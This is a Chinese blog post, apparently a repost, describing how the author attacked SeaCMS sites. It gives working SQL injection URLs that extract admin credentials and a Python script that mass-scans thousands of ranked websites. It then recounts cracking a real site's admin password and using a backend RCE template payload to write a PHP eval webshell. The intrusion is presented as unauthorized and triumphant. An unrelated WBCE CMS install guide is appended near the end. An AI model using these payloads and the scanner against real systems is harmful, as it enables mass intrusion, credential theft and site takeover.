Seacms最新版本注入实战+后台RCE成功getshell-2018年老文章

0x00 前言

有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660,需要代码审计、渗透测试、红蓝对抗网络安全相关业务可以看置顶博文

2000人网络安全交流群,欢迎大佬们来玩
群号820783253

0X01海洋CMS简介#

海洋cms是为解决站长核心需求而设计的视频内容管理系统,一套程序自适应电脑、手机、平板、APP多个终端入口,无任何加密代码、安全有保障,是您最佳的建站工具。——来自seacms官网(简而言之就是专门搭建看片网站的cms)
file
呵呵,安全有保障??头都给你打爆掉,百度搜索seacms。。漏洞信息都已经上了首页了。。
file

0X002海洋CMS V9.1以下版本全版本SQL注入分析#

看到了最近tools上最新的seacms sql注入漏洞,不由得下体一硬。
干干巴巴的,cnm,必须盘他!

漏洞产生处code如下

session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
        if(file_exists($jsoncachefile))
        {
                $json=LoadFile($jsoncachefile);
                die($json);
        }
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
        createTextFile($h,$jsoncachefile);
}
die($h);        

function ReadData($id,$page)
{
        global $type,$pCount,$rlist;
        $ret = array("","",$page,0,10,$type,$id);
        if($id>0)
        {
                $ret[0] = Readmlist($id,$page,$ret[4]);
                $ret[3] = $pCount;
                $x = implode(',',$rlist);
                if(!empty($x))
                {
                $ret[1] = Readrlist($x,1,10000);
                }
        }
        $readData = FormatJson($ret);
        return $readData;
}

function Readmlist($id,$page,$size)
{
        global $dsql,$type,$pCount,$rlist;
        $ml=array();
        if($id>0)
        {
                $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                $rs = $dsql ->GetOne($sqlCount);
                $pCount = ceil($rs['dd']/$size);
                $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                $dsql->setQuery($sql);
                $dsql->Execute('commentmlist');
                while($row=$dsql->GetArray('commentmlist'))
                {
                        $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                        $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
                }
        }
        $readmlist=join($ml,",");
        return $readmlist;
}

function Readrlist($ids,$page,$size)
{
        global $dsql,$type;
        $rl=array();
        $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
        $dsql->setQuery($sql);
        $dsql->Execute('commentrlist');
        while($row=$dsql->GetArray('commentrlist'))
        {
                $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
        }
        $readrlist=join($rl,",");
        return $readrlist;
}

$rlist还未被初始化就先进入到了ReadData函数,但实际上 $rlist 可控,最终Readrlist函数造成注入
漏洞利用Exploit如下(获取管理员表中第一个用户的密码)

http://www.seacms.com/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

Exploit2(获取管理员表中第一个用户的账号)

http://www.seacms.net/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`

0X003实战注入利用#

拿到exp后一不做二不休,直接写了个脚本怼了一下百度权重排名前10000的站点:
file

code如下(url.txt内容为你要批量测试的url)

import requests
print(" Seacms v9 SQL Injection-Author:J0o1ey QQ:547006660")
urls = open(r"url.txt", "r")
payload = '/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`'
for url in urls:
    testurl = url.strip() + payload
    html = requests.get(testurl).text
    if "seacms" in html:
        print("[+]Exploit URL:" + testurl)

虽然比较简陋,但也够用了
file
发现了一个目标
https://www.***.com/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

file

获取到admin用户的md5加密后的密码为b93af3cf59d757e27ca5
somd5成功解密

file

密码为Qq7788520

0x004成功获取后台#

拿着后台路径扫描的程序瞎jb一顿乱扫,结果并没有扫到后台

file
光拿到管理员账号密码,但是没有后台,那有个卵用啊。。。

但是,我眉头一皱,发现事情并不简单
前面获取到的密码是Qq7788520,这应该是管理员的qq吧?

file

猜测后台为https://www.***.com/7788520
结果Duang的一下~真tmd是后台。。。。进去了

file

用之前注入到的账号密码,成功登录之

file

0x004从后台RCE到Getshell#

即使进了后台,拿不到shell的话,也是很鸡肋的,于是我便找了一下seacms公开的漏洞
最后找到了CVE-2018-14421,一个Seacms Backend的RCE

漏洞详情链接:seacms backend getshell | Image's blog

漏洞分析文章:CVE-2018-14421——Seacms后台getshell分析 - 安全客,安全资讯平台

按照作者给出的方法,是在后台编辑video的时候,在图片pic处注入代码

{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}

利用是:/details/index.php?1.html&m=admin&a=assert&b=phpinfo()
当然了,不一定偏要像作者那样利用,只要在这个video的照片出现的地方通过get方式传导php代码即可

我在首页上找到了一个叫做“xxx”的video,

file

在后台搜索该影片后
我把它的照片链接处改为了{if:1)$GLOBALS[‘_G’.’ET’]a;//}{end if}

file

随后访问链接:

http://www.***.com/index.php?1.html&m=admin&a=assert&b=${fputs(fopen(%27d.php%27,%27w%27),%27%3C?php%20@eval($_POST[c])?%3E%27)};

成功通过RCE利用PHP的fputs函数在网站根目录下,写入了一个名为d.php的Webshell(密码为c)

高高兴兴连接之

file

0x005总结

今天给大家介绍了Seacms的最新SQL注入技术和后台RCE技术

文章从11点写到凌晨1点半,整个人确实有些疲倦。

早在一年以前朋友就推荐我加入圈子社区,但由于但是比较忙,并没有时间撰稿,所以也就没有加入。

当时看到圈子社区负责人的ID:国士无双,不由得心头一颤啊

高中时期,我的语文老师告诉我——“你要做一个顶天立地的’士’啊,士不可以不弘毅!”

从此,成为一个“士”成了我一生的追求

任重而道远,仁以为己任。这是士。

为天地立心,为生民立命,为往圣继绝学,为万世开太平,这就是士的追求。

这世界上,其实我们并没有独行。

每个坚守正道,愿意以己之血荐此轩辕的人,终会配得上“国士无双”四个字。

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
根据提供的引用内容,WBCE CMS是一套基于PHP和MySQL的开源内容管理系统。它是一个通用的、用户友好的CMS,附带了一些用于简单文本页、新闻、联系人表单的模块,并包括有用的管理工具。此外,WBCE插件库中提供了各种各样的库、交互和结构化内容等模块,并且可以轻松安装。 关于WBCE CMS的搭建教程,以下是一个简单的步骤: 1. 下载WBCE CMS:访问WBCE CMS的官方网站(https://wbce.org/)并下载最新版本的WBCE CMS。 2. 解压文件:将下载的压缩文件解压到您选择的Web服务器的根目录或子目录中。 3. 创建数据库:使用MySQL或其他支持的数据库管理工具创建一个新的数据库,并记下数据库名称、用户名和密码。 4. 配置数据库连接:在解压后的WBCE CMS文件夹中,找到名为"config.inc.php"的文件,并使用文本编辑器打开它。在文件中找到以下行: ```php define('DB_HOST', 'localhost'); define('DB_NAME', 'your_database_name'); define('DB_USER', 'your_username'); define('DB_PASS', 'your_password'); ``` 将上述行中的"your_database_name"、"your_username"和"your_password"替换为您在步骤3中创建的数据库的名称、用户名和密码。 5. 配置网站设置:在同一个"config.inc.php"文件中,您还可以配置其他网站设置,例如网站名称、管理员用户名和密码等。 6. 安装WBCE CMS:在浏览器中访问您的WBCE CMS安装目录(例如http://yourdomain.com/wbce/)并按照安装向导的指示进行安装。您需要提供管理员用户名和密码以及其他必要的信息。 7. 完成安装:安装完成后,您将能够访问WBCE CMS的后台管理界面,并开始创建和管理您的网站内容。 请注意,以上是一个简单的搭建教程,具体步骤可能因版本和个人需求而有所不同。建议在搭建之前仔细阅读官方文档和安装指南,以确保正确地配置和使用WBCE CMS。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

J0o1ey

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值